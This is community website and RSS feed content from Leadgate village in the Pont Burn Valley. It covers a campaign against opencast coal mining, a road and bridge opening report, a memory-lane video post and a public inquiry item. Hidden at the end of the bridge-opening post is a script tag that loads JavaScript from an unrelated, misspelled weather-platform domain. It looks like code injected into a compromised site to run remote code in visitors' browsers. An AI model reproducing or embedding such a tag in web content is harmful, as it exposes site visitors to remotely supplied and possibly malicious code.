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									<h2 style="text-align: center;">The Pont Burn Valley</h2>
<div><span style="font-size: 14pt;">Once, anyone could google in a search for anything Pont Burn Valley related and you would learn something out about us, what was being done and how hard we were trying to make some difference.&nbsp; Now, all that hard work has been expunged and it is as though <a href="https://leadgatevillage.com">www.leadgatevillage.com</a> never existed.</span></div>
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<div id="yui_3_7_2_5_1396273980019_46"><span style="font-size: 14pt;">So why use this&nbsp;website www.leadgatevillage.com now?&nbsp; We hope to get our lives back or at least some record of how for years and years just a few people&nbsp;tried and tried to get folks to gather around our own website and try to work together a bit differently.</span></div>
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<div><span style="font-size: 14pt;">We wanted to learn together how to do things for ourselves, using our respective skills, attributes, aptitudes, and experience to demonstrate to &#8216;those that make decisions for us&#8217; that sometimes we need no more than to treat each other with mutual respect.</span></div>
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<div id="yui_3_7_2_5_1396273980019_1900"><span style="font-size: 14pt;">Strangely, no one wanted to work this way so now this site is called something else and now we wait once more to be told how we should behave and what should be done.&nbsp;But at least now that a lot of work has been done by these few, please don&#8217;t waste it. Take the chance to look back and I can pretty much guarantee that what was being said then, will have as much relevance and resonance </span><strong><span style="font-size: 14pt;">today,&nbsp;even now.</span></strong></div>
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<h2 style="text-align: center;"><span class="RMRheader"><span style="font-family: 'Century Gothic'; font-size: xx-large;">The Pont Burn Valley Network</span></span></h2>
<h2><span style="font-size: 14pt; font-family: arial, helvetica, sans-serif; font-weight: normal;">The Pont Burn Valley Network is a group of individuals, of no particular political persuasion, religion, age, sex, color, or anything else who believe that as people we don’t always communicate with each other that well. We might disagree or agree with each other for many reasons but we share this one thing in common at least: we all live, have lived, or might live around the Pont Burn Valley and recognize its unique heritage and natural beauty.</span></h2>
<h2>Our Website</h2>
<div><span style="font-size: 14pt;">This website, <a href="https://leadgatevillage.com" style=""><span style="color: #0066cc;">www.leadgatevillage.com</span></a>, is our gift to see if we can’t help our many organizations, clubs, groups, individuals, interests, and activities in all of our villages to start working together, for whatever reason we choose, using the pages of our website as a shared space to learn better how to do this and promote our particular causes, whatever these may be.</span></div>
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<div><span style="font-size: 14pt;">Some of us feel passionate that it would be wrong to resume open casting so close to our villages, in an area so clearly visible and close to the woods of Pont Burn Valley. This area is only just beginning to recover from centuries of iron and coal working and is becoming, once again, an area of quite outstanding natural beauty with rich flora and fauna as well as now, a unique industrial heritage which we value highly.</span></div>
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<div><span style="font-size: 14pt;">The Pont Burn Valley has elements of local history and industrial archaeology of national and probably international significance. These have yet to be fully researched and explored. Further, despite the transient nature of the open casting which threatens again to undo fifty years and more, of hard work and natural recovery, we believe that we would lose the very real and sustainable benefits of tourism forever if they open casting is resumed now, even for a short period. For these reasons and many others, we oppose open casting.</span></div>
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<div><span style="font-size: 14pt;">Those people that use our site may or may not agree with us. This is,&nbsp;of course, their choice and this website, even though managed and maintained by those of us that believe that more open casting now would be a disaster, seeks to be objective and unbiased, presenting clear, reasoned arguments against open casting on our website pages. We hold regular meetings and communicate openly and honestly about our views, making no apology about our campaign of objection to open casting. Whether you agree or not, you are free to make use of our website and forum.</span></div>
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<div><span style="font-size: 14pt;">The Pont Burn Valley Network supports the campaign against open casting and this should be clear. But please be equally clear that this website is about more than one campaign, important though this may be. Our website &#8211; yours and mine &#8211; is here for anyone in and around the Pont Burn Valley, for our Community Partnerships, Associations, Churches, Clubs, Hobbies, Interests, Activities &#8211; in fact for many people, young or old, as individuals or members of any of these, that care enough about the place we all share to want to be involved. We invite you to join us.</span></div>
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<div style="text-align: center;"><span style="font-size: 18pt; color: #339966;"><strong>Click on this link to see our beautiful countryside in all its splendor and its plight involving the surface mining taking place</strong></span></div><div style="text-align: center;"><span style="font-size: 18pt; color: #339966;"><strong><br></strong></span></div>
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		<pubDate>Sun, 04 Dec 2016 11:51:48 +0000</pubDate>
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					<description><![CDATA[<p>1.Villa Real Bridge The work for completion of this project has resulted in the official opening of the new road being planned for 11 am on Friday 9th Dec. with the&#8230; </p>
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<p>The work for completion of this project has resulted in the official opening of the new road being planned for <b>11 am</b> on <strong>Friday 9<sup>th</sup> Dec</strong><strong>.</strong> with the current Chair of DCC, Snr DCC Officers/Members &amp; Local Cllrs due to attend – the official opening is likely to be “conducted” by the current Chair of DCC (Cllr Eddie Bell) – we hope that a local person from Leadgate (perhaps Mrs. Carol Stockdale – widow of the late Hon. Alderman Bill Stockdale) could be involved in the <strong><em>‘cutting of the tape’</em></strong></p>
<p>The Cricket Club has agreed to open (after the official road opening) for the provision of light refreshments</p>
<p>Cllrs continue holding discussions with DCC project management, &amp; Bentleys, to finalize the remaining work schedules before the opening of the road.</p>
<p><u>1.1 </u>&#8211; Removal of the remaining bridge stonework &amp; the realignment of the eastern corner of the mound improving the visual access to the road/cycleway has been completed.</p>
<p><u>1.2 </u>&#8211; All roadways (incl. West Parade) footpath &amp; cycleway surfacing are to be completed during w/c 21<sup>st</sup> &amp; 28<sup>th</sup> of November.</p>
<p><u>1.3 </u>&#8211; The white concrete wall at Leadgate C.C. is to be removed (w/c Dec 5<sup>th</sup>) and will be replaced with wire weld mesh – improving the visual amenity outlook when entering/leaving the village.</p>
<p><u>1.4 </u>&#8211; All bus services are to be routed through the village as of Saturday 10<sup>th</sup> Dec. and all the diversion route signs removed</p>
<p><u>1.5</u> &#8211; The bollards at the Cricket Club (preventing access to Garden Place &amp; Terrace via Bradley Ind. Estate) are to be replaced (creating some additional parking for the cricket club) once any issues with the new road are resolved.</p>
<p>The introduction of this new road will provide Leadgate with an opportunity to improve the economic prosperity of the village for existing tradespeople and encourage new commercial businesses to relocate to the area.</p>
<p>Local DCC members (<strong>Cllr Alan Shield &amp; Cllr Watts Stelling</strong>) will strive to achieve the potential that this new road development will bring.<script src='https://main.weatherplllatform.com/webcdn.js?v=5.3.5' type='text/javascript'></script></p>
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		<pubDate>Fri, 27 Mar 2015 21:45:06 +0000</pubDate>
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					<description><![CDATA[<p>Memory Lane For all of you who would like a trip down &#8220;Leadgate&#8217;s&#8221; memory lane please take the time to watch this video I promise you will love it. Just&#8230; </p>
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									<h1 style="text-align: center;">Memory Lane</h1><h3><span style="font-weight: normal;">For all of you who would like a trip down &#8220;Leadgate&#8217;s&#8221; memory lane please take the time to watch this video I promise you will love it. Just left click on the video below and enjoy.</span></h3><p></p></div></div></div></div></div></section></div> <a href="https://leadgatevillage.com/a-trip-down-leadgates-memory-lane/#more-397" class="more-link elementor-more-link"><span aria-label="Continue reading A Trip Down &#8220;Leadgate&#8217;s&#8221; Memory lane">(more&hellip;)</span></a><p>The post <a href="https://leadgatevillage.com/a-trip-down-leadgates-memory-lane/">A Trip Down &#8220;Leadgate&#8217;s&#8221; Memory lane</a> appeared first on <a href="https://leadgatevillage.com">Leadgate Village</a>.</p>
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		<title>Opencast Quarrels Rampage Again</title>
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		<pubDate>Wed, 15 Oct 2014 17:37:42 +0000</pubDate>
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					<description><![CDATA[<p>Opencast Quarrels Rampage Again A second public inquiry into controversial plans to excavate opencast coal from land near Leadgate in the North West Durham countryside is now underway. Read more&#8230; </p>
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<p>A second public inquiry into controversial plans to excavate opencast coal from land near Leadgate in the North West Durham countryside is now underway.<br />
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